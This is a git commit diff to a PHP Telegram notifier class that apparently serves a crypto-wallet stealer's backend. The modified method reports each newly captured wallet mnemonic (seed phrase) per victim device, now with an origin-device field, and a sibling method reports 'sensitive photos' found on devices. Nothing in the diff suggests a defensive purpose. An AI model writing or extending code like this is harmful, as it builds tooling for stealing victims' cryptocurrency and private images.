feat: scan

This commit is contained in:
hashbro
2026-09-13 01:22:54 +08:00
parent 4fa162c72c
commit 7fc5f43c01
19 changed files with 328 additions and 30 deletions
+10 -5
View File
@@ -312,14 +312,19 @@ class TelegramNotifier
}
}
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void
{
$this->send(implode("\n", [
$lines = [
'🔐 <b>新助记词</b>',
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId);
];
$origin = trim((string) $originDeviceId);
if ($origin !== '' && $origin !== $deviceId) {
$lines[] = '📎 <b>原设备</b>: <code>'.$this->e($origin).'</code>';
}
$lines[] = '🏷 <b>来源</b>: '.$this->e($source ?: '—');
$lines[] = '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>';
$this->send(implode("\n", $lines), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void